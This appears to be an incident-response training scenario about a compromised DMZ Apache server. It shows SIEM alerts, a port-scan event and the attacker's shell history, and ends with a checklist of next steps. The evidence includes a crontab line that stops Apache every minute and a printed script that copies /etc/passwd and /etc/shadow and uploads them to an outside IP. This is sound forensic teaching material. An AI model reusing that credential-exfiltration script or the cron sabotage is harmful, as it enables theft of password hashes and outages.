

Tuesday October 3, 2023

Houston office

SAR sentinel threshold crossed

38750073 - SAR Sentinel: threshold crossed.

Explanation

The system activity reporter (SAR) utility detected that your system load is above the threshold. Your system can experience reduced performance.

User response

Review the following options:

- In most cases, no resolution is required.

For example, when the CPU usage over 90%, the system automatically attempts to return to normal operation.

- If this notification is recurring, increase the default value of the SAR sentinel.

Click the **Admin** tab, then click **Global System Notifications**. Increase the notification threshold.

- For system load notifications, reduce the number of processes that run simultaneously.

Stagger the start time for reports, vulnerability scans, or data imports for your log sources. Schedule backups and system processes to start at different times to lessen the system load.

!! IP Service http is down

Event Actions: ☒ ☐ ☐ ☐

Resource: [CNT-DMZ-Apache1](#)
Component: [http](#)
Event Class: [/Status/IpService](#)
Status: New
Message: IP Service http is down

[Event Management...](#)

agent	zenstatus
component	http
dedupid	172.16.100.21 tcp_00080 /Status/IpService 5 IP Service http is down
eventClass	/Status/IpService
eventClassKey	
eventClassMapping	
eventGroup	TCPTTest
eventKey	
eventState	New
evid	0050569c-4010-afd0-11ee-6218608d3d44
facility	
message	IP Service http is down
ntevid	
priority	
severity	5
summary	IP Service http is down

18:11 Apache 1 (www.worldnews.com)172.16.100.21

[Return to Event List](#) [Offense](#) [Map Event](#) [False Positive](#) [Extract Property](#) [Previous](#) [Next](#) [Print](#) [Obfuscation](#) ▼

Event Information

Event Name	Host Port Scan Detected by Remote Host										
Low Level Category	Host Port Scan										
Event Description	Detected more than 400 ports scanned from a single source IP address in under 2 minutes.										
Magnitude	<div><div></div></div> (4)			Relevance	2		Severity	6		Credibility	6
Username	N/A										
Start Time	Oct 3, 2023, 6:11:29 PM			Storage Time	Oct 3, 2023, 6:11:29 PM			Log Source Time	Oct 3, 2023, 6:11:29 PM		
CRE Description (custom)	Detected more than 400 ports scanned from a single source IP address in under 2 minutes.										
CRE Name (custom)	Host Port Scan Detected by Remote Host										
Domain	Default Domain										

Source and Destination Information

Source IP	199.203.100.239	Destination IP	130.2.1.21
Source Asset Name	N/A	Destination Asset Name	N/A
Source Port	34757	Destination Port	71
Pre NAT Source IP		Pre NAT Destination IP	
Pre NAT Source Port	0	Pre NAT Destination Port	0
Post NAT Source IP		Post NAT Destination IP	
Post NAT Source Port	0	Post NAT Destination Port	0
Source IPv6	0:0:0:0:0:0:0:0	Destination IPv6	0:0:0:0:0:0:0:0
Source MAC	00:00:00:00:00:00	Destination MAC	00:00:00:00:00:00

Payload Information

utf	hex	base64
<input checked="" type="checkbox"/> Wrap Text		
Host Port Scan Detected by Remote Host Detected more than 400 ports scanned from a single source IP address in under 2 minutes.		

```
root@cnt-dmz-apache1:~# history | head -n 35
1 nano
2 nano /etc/network/if-up.d/
3 ifconfig
4 ip addr
5 nano /etc/netplan/00-installer-config.yaml .
6 /etc/init.d/networking restart
7 /etc/init.d/networking restart
8 /etc/init.d/networkin restart
9 /etc/init.d/network restart
10 reboot
11 service apache2 stop
12 service apache2 status
13 service apache2 start
14 service apache2 status
15 clear
16 service apache2 status
17 clear
18 vi /etc/rsyslog.conf
19 service rsyslog restart
20 exti
21 exit
22 ip a
23 clear
24 apt install /tmp/net-tools_1.60+git20180626.aebd88e-1ubuntu1_amd64.deb
25 reboot
26 netstat
27 netstat -at
28 cd /tmp/
29 ll
30 cat ~/.ssh/authorized_keys
31 cd ~/.ssh/
32 ll
33 cat authorized_keys
34 /etc/init.d/apache2 stop
35 (crontab -l; echo " * * * * * /etc/init.d/apache2 stop") | crontab
root@cnt-dmz-apache1:~#
```

```
VMRC | [Icons]
auth.log          dmesg.4.gz      syslog.1         vmware-network.8.log
auth.log.1        dpkg.log         syslog.2.gz      vmware-network.9.log
auth.log.2.gz     dpkg.log.1      syslog.3.gz      vmware-network.log
auth.log.3.gz     dpkg.log.2.gz   syslog.4.gz      vmware-vmtoolsd-root.1.log
auth.log.4.gz     faillog          syslog.5.gz      vmware-vmtoolsd-root.2.log
bootstrap.log     installer        syslog.6.gz      vmware-vmtoolsd-root.3.log
btm               journal          syslog.7.gz      vmware-vmtoolsd-root.log
btm.1             kern.log         ubuntu-advantage.log vmware-vmtoolsd-root.log
cloud-init.log    kern.log.1      unattended-upgrades wtmp
cloud-init-output.log kern.log.2.gz   vmware-network.1.log
dmesg             kern.log.3.gz   vmware-network.2.log
                 kern.log.4.gz   vmware-network.3.log

root@cnt-dmz-apache1:/var/log# cd /
root@cnt-dmz-apache1:/# ls
bin  cdrom  etc  lib  lib64  lost+found  mnt  proc  run  snap  swap.img  tmp  var
root  dev  home  lib32  libx32  media  opt  root  sbin  srv  sys  usr

root@cnt-dmz-apache1:/# cd tmp
root@cnt-dmz-apache1:/tmp# ls
b64phpuploader.py
bd
bd_bash.sh
bd_bash.sh
bd_bash.sh
systemd-private-1509983b6f1284a41a24505c75eaa4eef-tmpd.service-gSVRIj
systemd-private-1509983b6f1284a41a24505c75eaa4eef-systemd-logind.service-gRdEHf
systemd-private-1509983b6f1284a41a24505c75eaa4eef-systemd-resolved.service-1E95D1
systemd-private-1509983b6f1284a41a24505c75eaa4eef-systemd-timesyncd.service-T1513h
vmware-root_750-2957714542
root@cnt-dmz-apache1:/tmp# cat bd_bash.sh
#!/bin/bash

mkdir /tmp/bd/
cp /etc/passwd /tmp/bd/
cp /etc/shadow /tmp/bd/
python3 /tmp/b64phpuploader.py 199.203.100.77 /tmp/bd/passwd
python3 /tmp/b64phpuploader.py 199.203.100.77 /tmp/bd/shadow

root@cnt-dmz-apache1:/tmp#
```

- 18:17 a Bash file was uploaded to Apache 1

The Next Step

- Compromised passwords
- Impact to CIA Triad
- Impact to reputation
- Financial Impact
- Contact attorneys
- Update security policies